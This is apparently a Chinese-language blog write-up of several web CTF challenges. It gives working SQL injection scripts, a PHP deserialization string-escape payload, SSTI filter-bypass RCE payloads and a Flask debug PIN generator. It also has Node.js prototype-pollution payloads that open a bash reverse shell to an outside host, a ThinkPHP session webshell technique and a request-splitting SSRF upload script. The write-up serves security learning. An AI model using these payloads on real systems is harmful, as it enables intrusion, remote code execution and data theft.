Blacklist

一到注入题,和2019强网杯的随便住基本一致,但是多过滤了setpreparealterrename

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

获取表名和列名的方式与原题一致,而获取数据可以参考这篇文章:https://xz.aliyun.com/t/7169#toc-47,使用handler语句进行查询。

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
在这里插入图片描述
所以可以构造payload如下:

?inject=-1';handler FlagHere open;handler FlagHere read first%23

在这里插入图片描述


Ezsqli

看名字就是一道sql注入的题目,经测试总共有四种回显:

bool(false):查询语句有语法错误,如id=1'
SQL Injection Checked:含有被过滤的关键词时,包括and、or、union、in、order、group、limit等。
Nu1L:查询语句返回值为真,如id=1^(1=1)^1#
Error Occured When Fetch Result.:查询语句返回值为假,如id=1^(1=2)^1#

这样很显然就是要进行盲注了,但是这里过滤了in,也就不能查询information_schema,但是可以从sys数据库中找到替代的,如sys.x$schema_flattened_keys,从中同样可以获取表名以及主键名。更多的替代可以参考这篇文章:Alternatives to Extract Tables and Columns from MySQL and MariaDB

于是我们可以使用如下脚本盲注出表名:

import requests 
s = requests.Session()
url = "xxxxxxxxxxxxxxx"
flag = ""

def exp(i, j):
    payload = f"1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{i},1))>{j})^1"  # f1ag_1s_h3r3_hhhhh 
    data = {"id": payload}
    r = s.post(url, data=data)
    if "Nu1L" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32
    high = 127
    while (low <= high):
        mid = (low + high) // 2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low + high + 1) // 2)
    print(flag)

得到含有flag的表名:f1ag_1s_h3r3_hhhhh

知道了表名,但是我们却无法知道列名,因此需要进行无列名的盲注,也就是如下判断下面这样式子的真假:

(select 其他列,'猜测的数据') > (select * from users limit 1)

在这里由于表中只有一行数据,所以正好无需limit语句,而表中的列为主键和flag列两列,因此我们构造的判断条件即为:

(select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh)
  • 1则为主键的值,只有一行所以为1
  • {}中则填入盲注猜测的flag字段值,而因为mysql比较字符串大小是按位比较的,所以我们在最后加上一个ascii码较大的~,这样的话f~就满足大于flag{xxx}e~就满足小于flag{xxx}
  • 在写脚本的时候,只要按照ascii码从小到大的顺序进行猜解即可,即f~>(select * from f1ag_1s_h3r3_hhhhh), fl~>(select * from f1ag_1s_h3r3_hhhhh),...
    所以获得flag的脚本如下:
import requests 
s = requests.Session()
url = "xxxxxxxxxxxxxxxx"
flag = ""

for i in range(1, 100):
    for j in range(32, 127):
        temp = flag + chr(j)
        print(temp)
        # payload = "1^((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
        # payload = "1^((select 1,'{}~') > (select * from f1ag_1s_h3r3_hhhhh))^1".format(temp)
        data = {"id": payload}
        r = s.post(url, data=data)
        time.sleep(0.1)
        if "Nu1L" in r.text:
            flag = temp
            print(flag)
            break

实际上这里因为大写字母的ascii码小于小写字母,而mysql不区分大小写,所以我们这里得到的flag全部为大写字母,如果光是交flag的话,转换成小写字母即可正确。

而预期解实际上是要利用SELECT CONCAT("A", CAST(0 AS JSON))来让器返回二进制字符串,从而进行大小写的匹配,可以参考这篇文章:无需in的SQL盲注

即将判断条件修改如下:

((select 1,concat('{}~', cast(0 as json))) > (select * from f1ag_1s_h3r3_hhhhh))

这在我本地的测试环境是可以的,但是在BUU上复现的时候却不行,而回显bool(false),原因还未知…

Easyphp

存在 www.zip 源码泄露,下载下来进行代码审计。

这一题需要了解PHP反序列化的字符逃逸的原理,简单来说就是 “PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串” ,关于这个知识点可以去搜索0CTF2016-PiaPiaPia一题的相关Writeup。

下面来看这一道题,首先看一下拿flag的条件,在update.php中:

<?php
require_once('lib.php');
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}
?>

只要以 admin 的身份成功登录,就可以返回flag。

重点的代码在lib.php中,首先看一下dbCtrl类:

//lib.php
class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database = "test";
    public $name;
    public $password;
    public $mysqli;
    public $token; 
    public function __construct()
    {
        $this->name = $_POST['username'];
        $this->password = $_POST['password'];
        $this->token = $_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result = $this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();

        //通过反序列化控制token为admin即可绕过登录
        if ($this->token == 'admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo ('用户不存在!');
            return false;
        }
        if (md5($this->password) !== $passwordResult) {
            echo ('密码错误!');
            return false;
        }
        $_SESSION['token'] = $this->name;
        return $idResult;
    }
}

我们可以知道登陆成功的条件:① 用户名存在,且$this->password的md5值与数据库查询的用户密码相同。② 或者token的值为admin。

代码中的查询语句为select id,password from user where username=?,
但其实执行的sql语句是我们可控的(后面再说明),这样的话我们只需要将查询语句写成下面这个样子:

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

然后再将$this->password的值赋为1(1的md5值为c4ca4238a0b923820dcc509a6f75849b),即可通过登录密码的验证。

下面的问题就是如何控制执行的sql语句以及$this->password的值,这就需要用到反序列化了,我们看一下如何构造POP链:

  • UpdateHelper::__destruct()中看到字符串输出语句,所以只需要将$sql实例化为User类的对象,即可在该类对象结束时,调用到 User::__toString方法
    在这里插入图片描述
  • 然后看User::__toString方法,用$nickname变量调用了update()函数,且$age变量作为参数。这样我们只需要将$nicknames实例化为Info类的对象,从而可以调用Info::__call方法,且$age中的值会作为参数传入。
    在这里插入图片描述
  • 之后我们继续跟进到Info::__call方法,可以看到其用$CtrCase变量调用了login()方法,且参数就是上一步通过User.age的值传进来的。这样我们只需要将这个类里的$CtrlCase变量实例化为dbCtrl类的对象,这句话就相当于调用了dbCtrl::login($sql),而且参数sql语句也是我们所控制的了,也就达到了我们的目的。
    在这里插入图片描述
  • 最后我们只需要对dbCtrl类里的一些变量赋值成我们需要的值即可,而且可知dbCtrl::login($sql)中的$sql参数,实际上是User类中$age变量传入的。

所以最终的反序列化payload脚本如下:

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

运行得到如下payload:

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

下面我们就需要思考如何将脚本得到的序列化串被程序反序列化呢?

先找一下反序列化的利用点,从 update.php 可以跟进到User类的update()函数:

public function update()
{
    $Info = unserialize($this->getNewinfo());  
    $age = $Info->age;
    $nickname = $Info->nickname; 
    $updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']); 
}

可以看到反序列化的是getNewinfo()函数的返回值,跟进这个函数:

public function getNewInfo()
{
    $age = $_POST['age'];
    $nickname = $_POST['nickname'];
    return safe(serialize(new Info($age, $nickname)));  
}

这个函数的返回值是一个先序列化再经过safe()函数处理的Info类对象。

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,载对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。

safe()函数如下,如果你了解反序列化的字符逃逸原理,那么很容易看出这个函数的问题:将长度小于6的字符串直接替换成了长度为6的hacker。

function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

如果我们将刚才得到的payload直接用age或nickname参数传入的化,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化得到执行。

所以要想反序列化我们的payload,就得控制Info类对象的序列化串,看一下这个序列化串的格式(假设age为20,nickname为lethe):

O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}

我感觉这里原理上有点类似注入,需要闭合构造符合规则的序列化串。

假设我们要通过nickname参数来注入,先看一下我们构造的payload2如下(未逃逸字符串前):

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

可以看到我们在而已序列化串前加上了";s:8:"CtrlCase";,在最后加上了一个}(整个长度为263),这样我们将其作为new Info($age,$nickname)的nickname传入时,序列化的结果如下:
在这里插入图片描述
上图中两个箭头之间的内容就是我们传入的payload,可以看到我们在第一个箭头那里是想闭合双引号,从而使后面的内容符合序列化的规则的。但是我圈出来的那个263在序列化的规则里,限制了nickname的长度为263,所以后面长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。

这时候就需要用到字符逃逸的原理了,我们在payload2的前面加上263个union,这样我上面圈出来的值就变成了$263×5+263=1578$,上面第一个箭头所指的双引号里是263个union(长度为$263×5=1315$),当对这个序列化串进行safe()函数的处理时,所有的union都被替换成了hacker,也就是双引号里的内容变成了263个hacker(长度为$263×6=1578$),正好等于前面的1579,如下:
在这里插入图片描述

上面的图可以看出来经过safe()函数处理后,这个序列化串就被解释成了nickname变量长度为1586的重复hacker字符串,而我们的而已序列化payload,则以对象的形式作为CtrCase变量的值。
而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量(第一个箭头所指),当到我们第二个箭头所指的位置时,前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。这样由于前面的内容已经符合反序列化的规则,所以后面的内容都将被忽略。

最终payload如下:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php以POST传入上面的payload,此时反序列化被执行,在login函数里面已经成功验证了,token被设置为了admin,所以再回到登录界面使用任意密码即可登录admin账户:
在这里插入图片描述

Ez_Expresss

存在www.zip源码泄露,可以下载得到源码。

在登录界面,有如下提示:

这里只支持大写非常的奇怪,查阅资料得到:
在这里插入图片描述
再查看源码,确实是使用了toUpperCase()进行处理,所以可以利用这个特性来注册admın用户进行绕过:
在这里插入图片描述

可以看到成功了,并且提示flag在/flag目录下。
在这里插入图片描述

下面就考虑如何读文件或者RCE,再次进行代码审计。

一开始就是熟悉的merge+clone,那么考虑是否存在原型链污染(不熟悉的话可参考p神的:深入理解 JavaScript Prototype 污染攻击
在这里插入图片描述
/action路由下使用了clone()方法:

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

这个路由只有ADMIN可以访问,且clone()的参数是我们可控的,所以可以确定原型链污染了。

在这里插入图片描述
然后在info路由看到了一个莫名其妙又有点眼熟的outputFunctionName,在XNUCA 2019的HardJS考过这个,拼接在ejs渲染引擎中可以RCE,可参考我当时对HardJS的分析文章。

所以可以直接改一下当时的payload就好:

{"__proto__":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}

参考https://xz.aliyun.com/t/7184#toc-7推荐一个更好一点的命令执行的payload,因为有时候用require会报错:

{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/7777 0>&1\"')//"}}

然后提交/action(即最喜欢的语言)并抓包,然后填入poayload,注意要把Content-Type: 改为plication/json:
在这里插入图片描述
然后访问/info路由让outputFunctionName拼接到渲染引擎中触发原型链污染,即可得到shell:
在这里插入图片描述


FlaskApp

进入页面后,是一个Flask写的base64加解密功能,提示路由的源码中提示了PIN,应该是想说Flask的Debug模式中的PIN码。

在Base64解码的功能中很容易使其报错(如输入1):在这里插入图片描述
可以看到确实开启了Debug模式,并泄露了decode路由的源码:
在这里插入图片描述
解码的结果直接拼接到模板中渲染,存在SSTI漏洞,不过经过了waf的处理,我们也并不知道过滤了什么东西。

那么先试试一下SSTI吧:
4的base64为e3syKzJ9fQ==,我们进行解码得到4,确认存在SSTI了:
在这里插入图片描述

非预期解:利用SSTI进行RCE

虽然知道出题人的意思是利用PIN码来RCE,不过我还是想试试看能否直接利用SSTI进行RCE。

那么先试试过滤了哪些?

经过测试,SSTI中常用的一些关键词并没有被过滤(毕竟预期解也需要SSTI来读文件~):
在这里插入图片描述
而是过滤了systempopenosevalimportflag等RCE需要用到的关键词,但是这个过滤可以使用拼接字符串来绕过,这样我们想构造一个payload绕过就并不是很难了:
在这里插入图片描述

所以我们要构造的payload一定不是能是xx.popen()的形式,而是要把被过滤的关键词用字符串的方式调用,这样才能利用拼接或者编码来绕过,实际上这样的payload也很常见,网上能搜到很多。并且本题环境中可以用的类也不少,如下面两个payload均可以RCE:

{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("cat /this_is_the_fl'+'ag.txt")').read()}}
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}

将payload进行base64编码,再在题目中解码触发SSTI进行RCE:

在这里插入图片描述

预期解:利用PIN码进行RCE

参考这篇文章:https://www.anquanke.com/post/id/197602

要想生成PIN码,我们需要获得下面几个信息,这里就不考虑RCE了,所需要的信息均可以通过读文件来获得:

(1)服务器运行flask所登录的用户名。通过读取/etc/password可知此值为:flaskweb
在这里插入图片描述
(2)modname的值。一般不变就是flask.app

(3) getattr(app, "__name__", app.__class__.__name__)的结果。就是Flask,也不会变

(4)flask库下app.py的绝对路径。在报错信息中可以获取此值为: /usr/local/lib/python3.7/site-packages/flask/app.py
在这里插入图片描述
(5)当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡:
在这里插入图片描述
0242ae00ecc2转换为10进制为:2485410393282

(6)机器的id。

  • 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
  • 对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,如下为1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359

在这里插入图片描述

然后用kingkk师傅的exp:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410393282',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到PIN码:119-747-372

在这里插入图片描述

输入PIN后就可以在python终端任意执行代码了:

在这里插入图片描述


EasyThinking

这一题利用的是ThinkPHP6.0任意文件创建漏洞,分析可以参考这篇文章:ThinkPHP6.0任意文件创建分析

简单说就是这个漏洞可以通过session来任意创建文件(文件名可控),并且当session里的数据可控的话,我们就可以控制创建的文件的内容,从而getshell。

扫描发现/www.zip下载源码,除了注册和登录外还有一个搜索功能,通过源码可以看到我们搜索的值会被写入session中,因此利用我们就可以利用这个漏洞任意创建内容可控的文件:

在这里插入图片描述

首先注册一个用户,并在登陆的时候将PHPSESSID的值改为长度为32的php文件名,如1111111111111111111111111111.php

在这里插入图片描述

然后在搜索功能中输入文件的内容:
在这里插入图片描述

Thinkphp6默认把session文件存在/runtime/session目录下面,并保存为sess_xxx的形式:

在这里插入图片描述

所以访问/runtime/session/sess_1111111111111111111111111111.php就是我们写入的文件:

在这里插入图片描述

然后就是bypass disable functions了,直接上传<php7.4的通杀POC执行/readflag即可:

在这里插入图片描述


Node Game

首先放上出题人的writeup。

这题给了源码:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug'); //
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

//SSRF
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

大概看一下几个路由:

  • /:会包含/template目录下的一个pug模板文件来用pub进行渲染
    • /source:回显源码
    • /file_upload:限制了只能由127.0.0.1的ip进行文件上传,并且我们可以通过控制MIME进行目录穿越,从而将文件上传到任意目录
    • /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

根据上面几点,可以大致判断是利用SSRF伪造本地ip进行文件上传,上传包含命令执行代码的pug文件(可以搜一下pug文件的代码格式)到/template目录下,然后用?action=来包含该文件。

现在问题就是如何用SSRF来进行文件上传,这里就是Node js的编码处理安全问题,可以参考这篇文章:https://xz.aliyun.com/t/2894

如果对编码经过精心的构造,就可以通过拆分请求实现的SSRF攻击(也就是一种CRLF注入),通过换行让服务端将我们的第一次请求下面构造的报文内容,当作一次单独的HTTP请求,而这个构造的请求就是我们的文件上传请求了。

在这里插入图片描述
由上面文章中的内容可知,通常的换行\r\n(%0D%0A),我们可以构造为\u010D\u010A
同理其他的一些特殊字符,如空格(%20)构造编码为\u0120+(%2B)构造编码构造为\u012B

根据这个编码方式,就可以构造出拆分的请求从而SSRF了,参考iv4n的exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
    'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)

在这里插入图片描述


参考:
新春战疫公益赛-ezsqli-出题小记
http://iv4n.cc/2020-wp-vol1/



Writeup      Writeup

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!